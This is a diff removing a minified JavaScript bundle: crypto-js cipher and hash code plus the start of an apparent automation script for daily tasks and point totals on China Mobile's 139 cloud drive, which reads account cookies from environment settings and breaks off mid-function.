- for (_ = i = C[0], x = d = C[1], S = b = C[2], B = w = C[3], A = k = C[4], r = 0; r < 80; r += 1) T = i + e[t + R[r]] | 0, T += r < 16 ? f(d, b, w) + E[0] : r < 32 ? p(d, b, w) + E[1] : r < 48 ? y(d, b, w) + E[2] : r < 64 ? g(d, b, w) + E[3] : m(d, b, w) + E[4], T = (T = v(T |= 0, D[r])) + k | 0, i = k, k = w, w = v(b, 10), b = d, d = T, T = _ + e[t + z[r]] | 0, T += r < 16 ? m(x, S, B) + $[0] : r < 32 ? g(x, S, B) + $[1] : r < 48 ? y(x, S, B) + $[2] : r < 64 ? p(x, S, B) + $[3] : f(x, S, B) + $[4], T = (T = v(T |= 0, H[r])) + A | 0, _ = A, A = B, B = v(S, 10), S = x, x = T;
- T = C[1] + b + B | 0, C[1] = C[2] + w + A | 0, C[2] = C[3] + k + _ | 0, C[3] = C[4] + i + x | 0, C[4] = C[0] + d + S | 0, C[0] = T
- },
- _doFinalize: function() {
- var e = this._data,
- t = e.words,
- r = 8 * this._nDataBytes,
- o = 8 * e.sigBytes;
- t[o >>> 5] |= 128 << 24 - o % 32, t[14 + (o + 64 >>> 9 << 4)] = 16711935 & (r << 8 | r >>> 24) | 4278255360 & (r << 24 | r >>> 8), e.sigBytes = 4 * (t.length + 1), this._process();
- for (var n = this._hash, i = n.words, s = 0; s < 5; s++) {
- var a = i[s];
- i[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8)
- }
- return n
- },
- clone: function() {
- var e = n.clone.call(this);
- return e._hash = this._hash.clone(), e
- }
- });
-
- function f(e, t, r) {
- return e ^ t ^ r
- }
-
- function p(e, t, r) {
- return e & t | ~e & r
- }
-
- function y(e, t, r) {
- return (e | ~t) ^ r
- }
-
- function g(e, t, r) {
- return e & r | t & ~r
- }
-
- function m(e, t, r) {
- return e ^ (t | ~r)
- }
-
- function v(e, t) {
- return e << t | e >>> 32 - t
- }
- t.RIPEMD160 = n._createHelper(d), t.HmacRIPEMD160 = n._createHmacHelper(d)
- }(), e.RIPEMD160
-}(v())), oe(), ne || (ne = 1, ie.exports = function(e) {
- return o = (r = (t = e).lib).Base, n = r.WordArray, s = (i = t.algo).SHA256, a = i.HMAC, c = i.PBKDF2 = o.extend({
- cfg: o.extend({
- keySize: 4,
- hasher: s,
- iterations: 25e4
- }),
- init: function(e) {
- this.cfg = this.cfg.extend(e)
- },
- compute: function(e, t) {
- for (var r = this.cfg, o = a.create(r.hasher, e), i = n.create(), s = n.create([1]), c = i.words, u = s.words, l = r.keySize, h = r.iterations; c.length < l;) {
- var d = o.update(t).finalize(s);
- o.reset();
- for (var f = d.words, p = f.length, y = d, g = 1; g < h; g++) {
- y = o.finalize(y), o.reset();
- for (var m = y.words, v = 0; v < p; v++) f[v] ^= m[v]
- }
- i.concat(d), u[0]++
- }
- return i.sigBytes = 4 * l, i
- }
- }), t.PBKDF2 = function(e, t, r) {
- return c.create(r).compute(e, t)
- }, e.PBKDF2;
- var t, r, o, n, i, s, a, c
-}(v(), L(), oe())), ce(), he(), pe(), me(), we(), xe(), Se || (Se = 1, Be.exports = function(e) {
- return e.mode.ECB = ((t = e.lib.BlockCipherMode.extend()).Encryptor = t.extend({
- processBlock: function(e, t) {
- this._cipher.encryptBlock(e, t)
- }
- }), t.Decryptor = t.extend({
- processBlock: function(e, t) {
- this._cipher.decryptBlock(e, t)
- }
- }), t), e.mode.ECB;
- var t
-}(v(), he())), Ae || (Ae = 1, Te.exports = function(e) {
- return e.pad.AnsiX923 = {
- pad: function(e, t) {
- var r = e.sigBytes,
- o = 4 * t,
- n = o - r % o,
- i = r + n - 1;
- e.clamp(), e.words[i >>> 2] |= n << 24 - i % 4 * 8, e.sigBytes += n
- },
- unpad: function(e) {
- var t = 255 & e.words[e.sigBytes - 1 >>> 2];
- e.sigBytes -= t
- }
- }, e.pad.Ansix923
-}(v(), he())), Ce || (Ce = 1, Ee.exports = function(e) {
- return e.pad.Iso10126 = {
- pad: function(t, r) {
- var o = 4 * r,
- n = o - t.sigBytes % o;
- t.concat(e.lib.WordArray.random(n - 1)).concat(e.lib.WordArray.create([n << 24], 1))
- },
- unpad: function(e) {
- var t = 255 & e.words[e.sigBytes - 1 >>> 2];
- e.sigBytes -= t
- }
- }, e.pad.Iso10126
-}(v(), he())), $e || ($e = 1, Re.exports = function(e) {
- return e.pad.Iso97971 = {
- pad: function(t, r) {
- t.concat(e.lib.WordArray.create([2147483648], 1)), e.pad.ZeroPadding.pad(t, r)
- },
- unpad: function(t) {
- e.pad.ZeroPadding.unpad(t), t.sigBytes--
- }
- }, e.pad.Iso97971
-}(v(), he())), ze || (ze = 1, De.exports = function(e) {
- return e.pad.ZeroPadding = {
- pad: function(e, t) {
- var r = 4 * t;
- e.clamp(), e.sigBytes += r - (e.sigBytes % r || r)
- },
- unpad: function(e) {
- var t = e.words,
- r = e.sigBytes - 1;
- for (r = e.sigBytes - 1; r >= 0; r--)
- if (t[r >>> 2] >>> 24 - r % 4 * 8 & 255) {
- e.sigBytes = r + 1;
- break
- }
- }
- }, e.pad.ZeroPadding
-}(v(), he())), He || (He = 1, Me.exports = function(e) {
- return e.pad.NoPadding = {
- pad: function() {},
- unpad: function() {}
- }, e.pad.NoPadding
-}(v(), he())), je || (je = 1, Ie.exports = function(e) {
- return r = (t = e).lib.CipherParams, o = t.enc.Hex, t.format.Hex = {
- stringify: function(e) {
- return e.ciphertext.toString(o)
- },
- parse: function(e) {
- var t = o.parse(e);
- return r.create({
- ciphertext: t
- })
- }
- }, e.format.Hex;
- var t, r, o
-}(v(), he())), Fe || (Fe = 1, Ne.exports = function(e) {
- return function() {
- var t = e,
- r = t.lib.BlockCipher,
- o = t.algo,
- n = [],
- i = [],
- s = [],
- a = [],
- c = [],
- u = [],
- l = [],
- h = [],
- d = [],
- f = [];
- ! function() {
- for (var e = [], t = 0; t < 256; t++) e[t] = t < 128 ? t << 1 : t << 1 ^ 283;
- var r = 0,
- o = 0;
- for (t = 0; t < 256; t++) {
- var p = o ^ o << 1 ^ o << 2 ^ o << 3 ^ o << 4;
- p = p >>> 8 ^ 255 & p ^ 99, n[r] = p, i[p] = r;
- var y = e[r],
- g = e[y],
- m = e[g],
- v = 257 * e[p] ^ 16843008 * p;
- s[r] = v << 24 | v >>> 8, a[r] = v << 16 | v >>> 16, c[r] = v << 8 | v >>> 24, u[r] = v, v = 16843009 * m ^ 65537 * g ^ 257 * y ^ 16843008 * r, l[p] = v << 24 | v >>> 8, h[p] = v << 16 | v >>> 16, d[p] = v << 8 | v >>> 24, f[p] = v, r ? (r = y ^ e[e[e[m ^ y]]], o ^= e[e[o]]) : r = o = 1
- }
- }();
- var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54],
- y = o.AES = r.extend({
- _doReset: function() {
- if (!this._nRounds || this._keyPriorReset !== this._key) {
- for (var e = this._keyPriorReset = this._key, t = e.words, r = e.sigBytes / 4, o = 4 * ((this._nRounds = r + 6) + 1), i = this._keySchedule = [], s = 0; s < o; s++) s < r ? i[s] = t[s] : (u = i[s - 1], s % r ? r > 6 && s % r == 4 && (u = n[u >>> 24] << 24 | n[u >>> 16 & 255] << 16 | n[u >>> 8 & 255] << 8 | n[255 & u]) : (u = n[(u = u << 8 | u >>> 24) >>> 24] << 24 | n[u >>> 16 & 255] << 16 | n[u >>> 8 & 255] << 8 | n[255 & u], u ^= p[s / r | 0] << 24), i[s] = i[s - r] ^ u);
- for (var a = this._invKeySchedule = [], c = 0; c < o; c++) {
- if (s = o - c, c % 4) var u = i[s];
- else u = i[s - 4];
- a[c] = c < 4 || s <= 4 ? u : l[n[u >>> 24]] ^ h[n[u >>> 16 & 255]] ^ d[n[u >>> 8 & 255]] ^ f[n[255 & u]]
- }
- }
- },
- encryptBlock: function(e, t) {
- this._doCryptBlock(e, t, this._keySchedule, s, a, c, u, n)
- },
- decryptBlock: function(e, t) {
- var r = e[t + 1];
- e[t + 1] = e[t + 3], e[t + 3] = r, this._doCryptBlock(e, t, this._invKeySchedule, l, h, d, f, i), r = e[t + 1], e[t + 1] = e[t + 3], e[t + 3] = r
- },
- _doCryptBlock: function(e, t, r, o, n, i, s, a) {
- for (var c = this._nRounds, u = e[t] ^ r[0], l = e[t + 1] ^ r[1], h = e[t + 2] ^ r[2], d = e[t + 3] ^ r[3], f = 4, p = 1; p < c; p++) {
- var y = o[u >>> 24] ^ n[l >>> 16 & 255] ^ i[h >>> 8 & 255] ^ s[255 & d] ^ r[f++],
- g = o[l >>> 24] ^ n[h >>> 16 & 255] ^ i[d >>> 8 & 255] ^ s[255 & u] ^ r[f++],
- m = o[h >>> 24] ^ n[d >>> 16 & 255] ^ i[u >>> 8 & 255] ^ s[255 & l] ^ r[f++],
- v = o[d >>> 24] ^ n[u >>> 16 & 255] ^ i[l >>> 8 & 255] ^ s[255 & h] ^ r[f++];
- u = y, l = g, h = m, d = v
- }
- y = (a[u >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & d]) ^ r[f++], g = (a[l >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[d >>> 8 & 255] << 8 | a[255 & u]) ^ r[f++], m = (a[h >>> 24] << 24 | a[d >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & l]) ^ r[f++], v = (a[d >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & h]) ^ r[f++], e[t] = y, e[t + 1] = g, e[t + 2] = m, e[t + 3] = v
- },
- keySize: 8
- });
- t.AES = r._createHelper(y)
- }(), e.AES
-}(v(), $(), j(), ce(), he())), Le(), qe || (qe = 1, Ue.exports = function(e) {
- return function() {
- var t = e,
- r = t.lib.StreamCipher,
- o = t.algo,
- n = o.RC4 = r.extend({
- _doReset: function() {
- for (var e = this._key, t = e.words, r = e.sigBytes, o = this._S = [], n = 0; n < 256; n++) o[n] = n;
- n = 0;
- for (var i = 0; n < 256; n++) {
- var s = n % r,
- a = t[s >>> 2] >>> 24 - s % 4 * 8 & 255;
- i = (i + o[n] + a) % 256;
- var c = o[n];
- o[n] = o[i], o[i] = c
- }
- this._i = this._j = 0
- },
- _doProcessBlock: function(e, t) {
- e[t] ^= i.call(this)
- },
- keySize: 8,
- ivSize: 0
- });
-
- function i() {
- for (var e = this._S, t = this._i, r = this._j, o = 0, n = 0; n < 4; n++) {
- r = (r + e[t = (t + 1) % 256]) % 256;
- var i = e[t];
- e[t] = e[r], e[r] = i, o |= e[(e[t] + e[r]) % 256] << 24 - 8 * n
- }
- return this._i = t, this._j = r, o
- }
- t.RC4 = r._createHelper(n);
- var s = o.RC4Drop = n.extend({
- cfg: n.cfg.extend({
- drop: 192
- }),
- _doReset: function() {
- n._doReset.call(this);
- for (var e = this.cfg.drop; e > 0; e--) i.call(this)
- }
- });
- t.RC4Drop = r._createHelper(s)
- }(), e.RC4
-}(v(), $(), j(), ce(), he())), We || (We = 1, Je.exports = function(e) {
- return function() {
- var t = e,
- r = t.lib.StreamCipher,
- o = t.algo,
- n = [],
- i = [],
- s = [],
- a = o.Rabbit = r.extend({
- _doReset: function() {
- for (var e = this._key.words, t = this.cfg.iv, r = 0; r < 4; r++) e[r] = 16711935 & (e[r] << 8 | e[r] >>> 24) | 4278255360 & (e[r] << 24 | e[r] >>> 8);
- var o = this._X = [e[0], e[3] << 16 | e[2] >>> 16, e[1], e[0] << 16 | e[3] >>> 16, e[2], e[1] << 16 | e[0] >>> 16, e[3], e[2] << 16 | e[1] >>> 16],
- n = this._C = [e[2] << 16 | e[2] >>> 16, 4294901760 & e[0] | 65535 & e[1], e[3] << 16 | e[3] >>> 16, 4294901760 & e[1] | 65535 & e[2], e[0] << 16 | e[0] >>> 16, 4294901760 & e[2] | 65535 & e[3], e[1] << 16 | e[1] >>> 16, 4294901760 & e[3] | 65535 & e[0]];
- for (this._b = 0, r = 0; r < 4; r++) c.call(this);
- for (r = 0; r < 8; r++) n[r] ^= o[r + 4 & 7];
- if (t) {
- var i = t.words,
- s = i[0],
- a = i[1],
- u = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8),
- l = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8),
- h = u >>> 16 | 4294901760 & l,
- d = l << 16 | 65535 & u;
- for (n[0] ^= u, n[1] ^= h, n[2] ^= l, n[3] ^= d, n[4] ^= u, n[5] ^= h, n[6] ^= l, n[7] ^= d, r = 0; r < 4; r++) c.call(this)
- }
- },
- _doProcessBlock: function(e, t) {
- var r = this._X;
- c.call(this), n[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, n[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, n[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, n[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16;
- for (var o = 0; o < 4; o++) n[o] = 16711935 & (n[o] << 8 | n[o] >>> 24) | 4278255360 & (n[o] << 24 | n[o] >>> 8), e[t + o] ^= n[o]
- },
- blockSize: 4,
- ivSize: 2
- });
-
- function c() {
- for (var e = this._X, t = this._C, r = 0; r < 8; r++) i[r] = t[r];
- for (t[0] = t[0] + 1295307597 + this._b | 0, t[1] = t[1] + 3545052371 + (t[0] >>> 0 < i[0] >>> 0 ? 1 : 0) | 0, t[2] = t[2] + 886263092 + (t[1] >>> 0 < i[1] >>> 0 ? 1 : 0) | 0, t[3] = t[3] + 1295307597 + (t[2] >>> 0 < i[2] >>> 0 ? 1 : 0) | 0, t[4] = t[4] + 3545052371 + (t[3] >>> 0 < i[3] >>> 0 ? 1 : 0) | 0, t[5] = t[5] + 886263092 + (t[4] >>> 0 < i[4] >>> 0 ? 1 : 0) | 0, t[6] = t[6] + 1295307597 + (t[5] >>> 0 < i[5] >>> 0 ? 1 : 0) | 0, t[7] = t[7] + 3545052371 + (t[6] >>> 0 < i[6] >>> 0 ? 1 : 0) | 0, this._b = t[7] >>> 0 < i[7] >>> 0 ? 1 : 0, r = 0; r < 8; r++) {
- var o = e[r] + t[r],
- n = 65535 & o,
- a = o >>> 16,
- c = ((n * n >>> 17) + n * a >>> 15) + a * a,
- u = ((4294901760 & o) * o | 0) + ((65535 & o) * o | 0);
- s[r] = c ^ u
- }
- e[0] = s[0] + (s[7] << 16 | s[7] >>> 16) + (s[6] << 16 | s[6] >>> 16) | 0, e[1] = s[1] + (s[0] << 8 | s[0] >>> 24) + s[7] | 0, e[2] = s[2] + (s[1] << 16 | s[1] >>> 16) + (s[0] << 16 | s[0] >>> 16) | 0, e[3] = s[3] + (s[2] << 8 | s[2] >>> 24) + s[1] | 0, e[4] = s[4] + (s[3] << 16 | s[3] >>> 16) + (s[2] << 16 | s[2] >>> 16) | 0, e[5] = s[5] + (s[4] << 8 | s[4] >>> 24) + s[3] | 0, e[6] = s[6] + (s[5] << 16 | s[5] >>> 16) + (s[4] << 16 | s[4] >>> 16) | 0, e[7] = s[7] + (s[6] << 8 | s[6] >>> 24) + s[5] | 0
- }
- t.Rabbit = r._createHelper(a)
- }(), e.Rabbit
-}(v(), $(), j(), ce(), he())), Xe || (Xe = 1, Ke.exports = function(e) {
- return function() {
- var t = e,
- r = t.lib.StreamCipher,
- o = t.algo,
- n = [],
- i = [],
- s = [],
- a = o.RabbitLegacy = r.extend({
- _doReset: function() {
- var e = this._key.words,
- t = this.cfg.iv,
- r = this._X = [e[0], e[3] << 16 | e[2] >>> 16, e[1], e[0] << 16 | e[3] >>> 16, e[2], e[1] << 16 | e[0] >>> 16, e[3], e[2] << 16 | e[1] >>> 16],
- o = this._C = [e[2] << 16 | e[2] >>> 16, 4294901760 & e[0] | 65535 & e[1], e[3] << 16 | e[3] >>> 16, 4294901760 & e[1] | 65535 & e[2], e[0] << 16 | e[0] >>> 16, 4294901760 & e[2] | 65535 & e[3], e[1] << 16 | e[1] >>> 16, 4294901760 & e[3] | 65535 & e[0]];
- this._b = 0;
- for (var n = 0; n < 4; n++) c.call(this);
- for (n = 0; n < 8; n++) o[n] ^= r[n + 4 & 7];
- if (t) {
- var i = t.words,
- s = i[0],
- a = i[1],
- u = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8),
- l = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8),
- h = u >>> 16 | 4294901760 & l,
- d = l << 16 | 65535 & u;
- for (o[0] ^= u, o[1] ^= h, o[2] ^= l, o[3] ^= d, o[4] ^= u, o[5] ^= h, o[6] ^= l, o[7] ^= d, n = 0; n < 4; n++) c.call(this)
- }
- },
- _doProcessBlock: function(e, t) {
- var r = this._X;
- c.call(this), n[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, n[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, n[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, n[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16;
- for (var o = 0; o < 4; o++) n[o] = 16711935 & (n[o] << 8 | n[o] >>> 24) | 4278255360 & (n[o] << 24 | n[o] >>> 8), e[t + o] ^= n[o]
- },
- blockSize: 4,
- ivSize: 2
- });
-
- function c() {
- for (var e = this._X, t = this._C, r = 0; r < 8; r++) i[r] = t[r];
- for (t[0] = t[0] + 1295307597 + this._b | 0, t[1] = t[1] + 3545052371 + (t[0] >>> 0 < i[0] >>> 0 ? 1 : 0) | 0, t[2] = t[2] + 886263092 + (t[1] >>> 0 < i[1] >>> 0 ? 1 : 0) | 0, t[3] = t[3] + 1295307597 + (t[2] >>> 0 < i[2] >>> 0 ? 1 : 0) | 0, t[4] = t[4] + 3545052371 + (t[3] >>> 0 < i[3] >>> 0 ? 1 : 0) | 0, t[5] = t[5] + 886263092 + (t[4] >>> 0 < i[4] >>> 0 ? 1 : 0) | 0, t[6] = t[6] + 1295307597 + (t[5] >>> 0 < i[5] >>> 0 ? 1 : 0) | 0, t[7] = t[7] + 3545052371 + (t[6] >>> 0 < i[6] >>> 0 ? 1 : 0) | 0, this._b = t[7] >>> 0 < i[7] >>> 0 ? 1 : 0, r = 0; r < 8; r++) {
- var o = e[r] + t[r],
- n = 65535 & o,
- a = o >>> 16,
- c = ((n * n >>> 17) + n * a >>> 15) + a * a,
- u = ((4294901760 & o) * o | 0) + ((65535 & o) * o | 0);
- s[r] = c ^ u
- }
- e[0] = s[0] + (s[7] << 16 | s[7] >>> 16) + (s[6] << 16 | s[6] >>> 16) | 0, e[1] = s[1] + (s[0] << 8 | s[0] >>> 24) + s[7] | 0, e[2] = s[2] + (s[1] << 16 | s[1] >>> 16) + (s[0] << 16 | s[0] >>> 16) | 0, e[3] = s[3] + (s[2] << 8 | s[2] >>> 24) + s[1] | 0, e[4] = s[4] + (s[3] << 16 | s[3] >>> 16) + (s[2] << 16 | s[2] >>> 16) | 0, e[5] = s[5] + (s[4] << 8 | s[4] >>> 24) + s[3] | 0, e[6] = s[6] + (s[5] << 16 | s[5] >>> 16) + (s[4] << 16 | s[4] >>> 16) | 0, e[7] = s[7] + (s[6] << 8 | s[6] >>> 24) + s[5] | 0
- }
- t.RabbitLegacy = r._createHelper(a)
- }(), e.RabbitLegacy
-}(v(), $(), j(), ce(), he())), Qe());
-var Ze = p(y.exports);
-class Ye {
- constructor() {
- this.lines = [], this.errors = [], this.amounts = [], this.invalid = []
- }
- info(e) {
- this.lines.push(e), t.log(e)
- }
- line(e) {
- this.lines.push(e), t.log(e)
- }
- section(e) {
- this.info(`\n======== ${e} ========`)
- }
- renderSummary() {
- const e = [];
- return this.invalid.length && e.push(`失效账号:\n${this.invalid.join("\n")}`), this.amounts.length && e.push(`云朵统计:\n${this.amounts.join("\n")}`), this.errors.length && e.push(`异常信息:\n${this.errors.join("\n")}`), e.join("\n\n") || "执行完成"
- }
-}
-
-function et(e) {
- return "boolean" == typeof e ? e : ["1", "true", "yes", "on"].includes(String(e).toLowerCase())
-}
-
-function tt(e, t) {
- const r = Number(e);
- return Number.isFinite(r) ? r : t
-}
-
-function rt(e) {
- return String(e || "").startsWith("Basic ") ? String(e) : `Basic ${e}`
-}
-
-function ot(e, t, r) {
- return "cloud_app" === e && "month" === t ? [110, 113, 417, 409].includes(r) : "cloud_app" === e && "day" === t ? 404 === r : "email_app" === e && "month" === t && [1004, 1005, 1015, 1020].includes(r)
-}
-
-function nt(e) {
- return [e.getFullYear(), String(e.getMonth() + 1).padStart(2, "0"), String(e.getDate()).padStart(2, "0"), String(e.getHours()).padStart(2, "0"), String(e.getMinutes()).padStart(2, "0"), String(e.getSeconds()).padStart(2, "0")].join("")
-}
-
-function it(e) {
- const t = "19f3a063d67e4694ca63a4227ec9a94a19088404f9a28084e3e486b928039a299bf756ebc77aa4f6bfa250308ec6a8be8b63b5271a00350d136d117b8a72f39c5bd15cdfd350cba4271dc797f15412d9f269e666aea5039f5049d00739b320bb9e8585a008b52c1cbd86970cae9476446f3e41871de8d9f6112db94b05e5dc7ea0a942a9daf145ac8e487d3d5cba7cea145680efc64794d43dd15c5062b81e1cda7bf278b9bc4e1b8955846e6bc4b6a61c28f831f81b2270289e5a8a677c3141ddc9868129060c0c3b5ef507fbd46c004f6de346332ef7f05c0094215eae1217ee7c13c8dca6d174cfb49c716dd42903bb4b02d823b5f1ff93c3f88768251b56cc";
- let r = "";
- for (let o = 0; o < e; o += 1) r += t.charAt(Math.floor(514 * Math.random()));
- return r
-}
-
-function st(e) {
- const t = [];
- for (let r = 0; r < e; r += 4) t.push(4294967296 * Math.random() | 0);
- return Ze.lib.WordArray.create(t, e)
-}
-async function at(e, t) {
- const r = Math.floor(Math.random() * (t - e + 1)) + e;
- await i(r)
-}
-
-function ct() {
- const e = a,
- t = d.defaults,
- r = d.envPrefix;
- return {
- cookie: ut(e, h.cookieKeys, lt(h.cookieKeys, "")),
- uploadEnabled: et(ut(e, ["upload"], lt([`${r}_UPLOAD`, "cloud139_upload"], t.upload))),
- uploadDirId: String(ut(e, ["dirId", "dir_id"], lt([`${r}_DIR_ID`, "cloud139_dir_id", "DIR_ID"], t.uploadDirId)) || ""),
- uploadFilename: String(ut(e, ["uploadFilename"], lt([`${r}_UPLOAD_FILENAME`, "cloud139_upload_filename"], t.uploadFilename)) || t.uploadFilename),
- uploadSizeMb: tt(ut(e, ["uploadSizeMb"], lt([`${r}_UPLOAD_SIZE_MB`, "cloud139_upload_size_mb"], t.uploadSizeMb)), t.uploadSizeMb),
- shareEnabled: et(ut(e, ["share"], lt([`${r}_SHARE`, "cloud139_share"], t.share))),
- shareFilename: String(ut(e, ["shareFilename"], lt([`${r}_SHARE_FILENAME`, "cloud139_share_filename"], t.shareFilename)) || ""),
- push: et(ut(e, ["push"], lt([`${r}_PUSH`, "cloud139_push"], t.push))),
- clickNum: tt(ut(e, ["clickNum"], lt([`${r}_CLICK_NUM`, "cloud139_click_num"], t.clickNum)), t.clickNum),
- drawTimes: tt(ut(e, ["drawTimes"], lt([`${r}_DRAW_TIMES`, "cloud139_draw_times"], t.drawTimes)), t.drawTimes),
- delayMin: tt(ut(e, ["delayMin"], lt([`${r}_DELAY_MIN`, "cloud139_delay_min"], t.delayMin)), t.delayMin),
- delayMax: tt(ut(e, ["delayMax"], lt([`${r}_DELAY_MAX`, "cloud139_delay_max"], t.delayMax)), t.delayMax),
- requestTimeout: tt(ut(e, ["timeout"], lt([`${r}_TIMEOUT`, "cloud139_timeout"], t.timeout)), t.timeout)
- }
-}
-
-function ut(e, t, r) {
- for (const r of t) {
- const t = e[r];
- if (null != t && "" !== t) return t
- }
- return r
-}
-
-function lt(e, t) {
- ! function() {
- if (ht) return;
- if (ht = !0, "undefined" == typeof process || !process.versions?.node || "function" != typeof process.loadEnvFile) return;
- try {
- process.loadEnvFile(".env")
- } catch (e) {}
- }();
- const r = "undefined" != typeof process && process.env ? process.env : {};
- for (const t of e) {
- if (void 0 !== r[t] && null !== r[t] && "" !== r[t]) return r[t];
- try {
- const e = s.getItem?.(t);
- if (null != e && "" !== e) return e
- } catch (e) {}
- }
- return t
-}
-let ht = !1;
-
-function dt() {
- function e(e, t, r, o, n) {
- return {
- name: "AxiosError",
- message: e || "Axios Error",
- code: t,
- config: r,
- request: o,
- response: n,
- isAxiosError: !0,
- toString() {
- return this.name + ": " + this.message
- }
- }
- }
- class t {
- constructor() {
- this.handlers = []
- }
- use(e, t) {
- return this.handlers.push({
- onFulfilled: e,
- onRejected: t
- }), this.handlers.length - 1
- }
- eject(e) {
- this.handlers[e] && (this.handlers[e] = null)
- }
- forEach(e) {
- for (let t = 0; t < this.handlers.length; t += 1) {
- const r = this.handlers[t];
- r && e(r)
- }
- }
- }
-
- function r() {
- const e = {};
- for (let t = 0; t < arguments.length; t += 1) {
- const r = arguments[t];
- if (!r) continue;
- const o = Object.keys(r);
- for (let t = 0; t < o.length; t += 1) e[o[t]] = r[o[t]]
- }
- return e
- }
-
- function o(e) {
- return String(e || "get").toLowerCase()
- }
-
- function n(e) {
- return e >= 200 && e < 300
- }
-
- function i(e) {
- switch (String(e || "").split(";")[0].trim().toLowerCase()) {
- case "application/protobuf":
- case "application/x-protobuf":
- case "application/vnd.google.protobuf":
- case "application/vnd.apple.flatbuffer":
- case "application/grpc":
- case "application/grpc+proto":
- case "application/octet-stream":
- return !0;
- default:
- return !1
- }
- }
-
- function s(e, t, r) {
- return r ? function(e) {
- return void 0 !== e.bodyBytes ? a(e.bodyBytes) : void 0 !== e.rawBody ? a(e.rawBody) : void 0 !== e.body ? a(e.body) : void 0 !== e.data ? a(e.data) : void 0
- }(e) : function(e, t) {
- for (let r = 0; r < t.length; r += 1) {
- const o = e[t[r]];
- if (void 0 !== o) return o
- }
- }(e, ["data", "body", "bodyBytes", "rawBody"])
- }
-
- function a(e) {
- if (e instanceof ArrayBuffer) return e;
- if ("undefined" != typeof ArrayBuffer && ArrayBuffer.isView && ArrayBuffer.isView(e)) return e.buffer.slice(e.byteOffset, e.byteOffset + e.byteLength);
- if ("string" == typeof e) {
- if ("undefined" != typeof TextEncoder) return (new TextEncoder).encode(e).buffer;
- if ("undefined" != typeof Buffer) {
- const t = Buffer.from(e, "utf8");
- return t.buffer.slice(t.byteOffset, t.byteOffset + t.byteLength)
- }
- }
- return e
- }
-
- function c(e, t, r) {
- const o = r.responseType || "json";
- switch (o) {
- case "arraybuffer":
- return a(e);
- case "text":
- return function(e) {
- switch (!0) {
- case "string" == typeof e:
- return e;
- case "undefined" != typeof Buffer && Buffer.isBuffer && Buffer.isBuffer(e):
- return e.toString("utf8");
- case "undefined" != typeof TextDecoder && e instanceof ArrayBuffer:
- return new TextDecoder("utf-8").decode(e);
- default:
- return e
- }
- }(e)
- }
- if ("string" != typeof e) return e;
- const n = String(t && (t["content-type"] || t["Content-Type"]) || "");
- if ("json" === o || n.indexOf("application/json") >= 0) try {
- return e.length ? JSON.parse(e) : null
- } catch (t) {
- return e
- }
- return e
- }
-
- function u(e) {
- const t = {
- url: e.url,
- method: o(e.method),
- headers: e.headers,
- timeout: e.timeout,
- policy: e.policy,
- redirection: "boolean" == typeof e.redirection ? e.redirection : e.followRedirect,
- "auto-redirect": e["auto-redirect"],
- "auto-cookie": e["auto-cookie"],
- opts: e.opts
- };
- switch (!0) {
- case void 0 !== e.bodyBytes:
- t.bodyBytes = a(e.bodyBytes);
- break;
- case void 0 !== e.data && (e.data instanceof ArrayBuffer || ArrayBuffer.isView && ArrayBuffer.isView(e.data)):
- t.bodyBytes = a(e.data);
- break;
- case void 0 !== e.body:
- t.body = e.body;
- break;
- case void 0 !== e.data:
- t.body = e.data
- }
- const r = Object.keys(e);
- for (let o = 0; o < r.length; o += 1) {
- const n = r[o];
- void 0 === t[n] && (t[n] = e[n])
- }
- t.method || (t.method = function(e) {
- return void 0 !== e.body || void 0 !== e.bodyBytes
- }(t) ? "post" : "get"), t.method = o(t.method), Object.assign(t, function(e) {
- if (null != e && "" !== e || (e = 5e3), null == e) return {};
- const t = Number.parseInt(e, 10);
- return Number.isNaN(t) ? {} : {
- timeout: t
- }
- }(t.timeout)), "boolean" == typeof t.redirection && void 0 === t["auto-redirect"] && (t["auto-redirect"] = t.redirection), t.headers = t.headers || {},
- function(e, t) {
- for (let r = 0; r < t.length; r += 1) delete e[t[r]]
- }(t.headers, ["Host", ":authority", "Content-Length", "content-length"]);
- const n = t.headers.Accept || t.headers.accept;
- switch (("arraybuffer" === t.responseType || i(n)) && (t["binary-mode"] = !0), !0) {
- case void 0 !== t.bodyBytes && void 0 === t.body:
- t.data = t.bodyBytes;
- break;
- case void 0 !== t.body:
- t.data = t.body
- }
- return t
- }
-
- function l(e, t, r) {
- const o = e || {},
- a = o.headers || {},
- u = a["content-type"] || a["Content-Type"],
- l = {
- data: c(s(o, 0, "arraybuffer" === t.responseType || !0 === t["binary-mode"] || i(u)), a, t),
- status: Number(void 0 !== o.status ? o.status : void 0 !== o.statusCode ? o.statusCode : 0),
- statusText: o.statusText || "",
- headers: a,
- config: t,
- request: o.request || r,
- raw: o
- };
- return l.ok = (t.validateStatus || n)(l.status), l
- }
-
- function h(e) {
- return !!(e && "object" == typeof e && "status" in e && "data" in e && "headers" in e && "config" in e)
- }
-
- function d(e) {
- if (!e) return null;
- if ("function" == typeof e) return e;
- if ("function" == typeof e.request) return e.request.bind(e);
- throw new TypeError("Unsupported adapter shape")
- }
- class f {
- constructor(e) {
- this.defaults = Object.assign({
- headers: {
- Accept: "application/json, text/plain, */*"
- },
- validateStatus: n,
- throwHttpErrors: !0
- }, e || {}), this.interceptors = {
- request: new t,
- response: new t
- }
- }
- resolveAdapter(e) {
- const t = d(e.adapter);
- if (t) return t;
- const r = e.adapters || this.defaults.adapters || [];
- for (let e = 0; e < r.length; e += 1) {
